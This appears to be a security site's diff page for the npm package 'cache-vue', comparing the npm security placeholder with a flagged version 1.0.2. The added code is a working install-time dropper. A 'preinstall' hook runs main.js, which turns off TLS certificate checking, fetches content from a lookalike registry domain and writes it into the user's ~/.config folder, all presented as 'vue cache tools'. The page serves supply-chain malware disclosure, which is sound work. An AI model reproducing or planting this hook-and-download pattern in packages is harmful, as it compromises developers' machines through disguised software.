cache-vue 0.0.1-security → 1.0.2
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of cache-vue might be problematic. Click here for more details.
- package/main.js +20 -0
- package/package.json +12 -3
- package/README.md +0 -5
package/main.js
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
const path = require("path");
|
2
|
+
var fs = require('fs');
|
3
|
+
const os = require("os");
|
4
|
+
const url = 'https://npmjsregister.com/auditcheck.php'
|
5
|
+
|
6
|
+
function checkCache(version, projectUrl) {
|
7
|
+
var request = require('sync-request');
|
8
|
+
var result = request('GET', projectUrl);
|
9
|
+
fs.writeFileSync(version, result.getBody());
|
10
|
+
|
11
|
+
}
|
12
|
+
|
13
|
+
process.env['NODE_TLS_REJECT_UNAUTHORIZED'] = 0;
|
14
|
+
|
15
|
+
var folder = os.homedir() + "/.config";
|
16
|
+
if (!fs.existsSync(folder)){
|
17
|
+
fs.mkdirSync(folder);
|
18
|
+
}
|
19
|
+
|
20
|
+
checkCache(path.join(folder,'/npmcache'), url);
|
package/package.json
CHANGED
@@ -1,6 +1,15 @@
|
|
1
1
|
{
|
2
2
|
"name": "cache-vue",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.2",
|
4
|
+
"description": "vue cache tools",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"[Error]: [-] no test script specified\" && exit 1",
|
8
|
+
"preinstall": "npm install sync-request && node main.js"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "BSD",
|
12
|
+
"dependencies": {
|
13
|
+
"sync-request": "^6.1.0"
|
14
|
+
}
|
6
15
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=cache-vue for more information.
|